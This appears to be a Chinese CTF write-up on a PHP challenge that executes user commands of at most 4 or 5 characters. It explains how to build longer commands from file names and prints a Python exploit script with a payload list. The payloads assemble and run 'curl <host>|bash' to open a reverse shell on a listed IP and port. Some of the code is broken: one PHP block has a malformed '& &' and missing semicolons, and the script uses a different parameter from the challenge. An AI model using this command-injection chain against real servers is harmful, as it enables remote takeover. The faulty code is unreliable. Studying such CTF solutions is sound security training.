五字符
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
每次输入5字符以内的命令并执行
linux中命令可以拆分成多行
并将这些拆分的命令构成文件名
用ls命令将这些文件名(命令执行结果)写入文件,执行文件即可执行命令
四字符
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR'])
@mkdir($sandbox)
@chdir($sandbox)
if (isset($_GET['cmd']) & & strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd'])
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox)
}
highlight_file(__FILE__)
四字符可以利用dir代替ls命令,*的作用是将上一个命令执行的结果进行匹配并执行
rev命令是反向输出文件每一行
反弹shell
这里借鉴一个学弟的题解
<=4
- dir命令作为ls命令的别名
*
命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash执行,如下图,但是如果有写不是命令的话就会出现command not found的报错,这样一来我们就可一利用dir加上*命令去执行写入文件的操作- 利用rev命令去反向文件的字符串,如果不多加h的话在你行dir的时候按字母排序字母t比s更靠后,放进v文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g
- 反弹shell
import requests
from time import sleep
from urllib.parse import quote
payload = [
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
'>rev',
'*v>x',
'>ash',
'>b\\',
'>\|\\',
'>p\\',
'>to\\',
'>u.\\',
'>y\\',
'>eo\\',
'>th\\',
'>\ \\',
'>rl\\',
'>cu\\',
# got shell
'sh x',
'sh g',
]
r = requests.get('http://219.219.61.234:50051/?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://219.219.61.234:50051/?rce=' + quote(i) )
print (i)
sleep(0.1)
V文件内容
g> ht- sl
X文件内容
ls -th >g
g文件内容
g
cu\
rl\
\
th\
eo\
y\
u.\
to\
p\
|\
b\
ash
x
rev
v
ht-
g>
sl
dir
执行g的时候会找不到命令,不影响执行
执行:
curl xxx|bash
xxx为一个域名,网站可以放一个反弹shell命令
这样就可以得到shell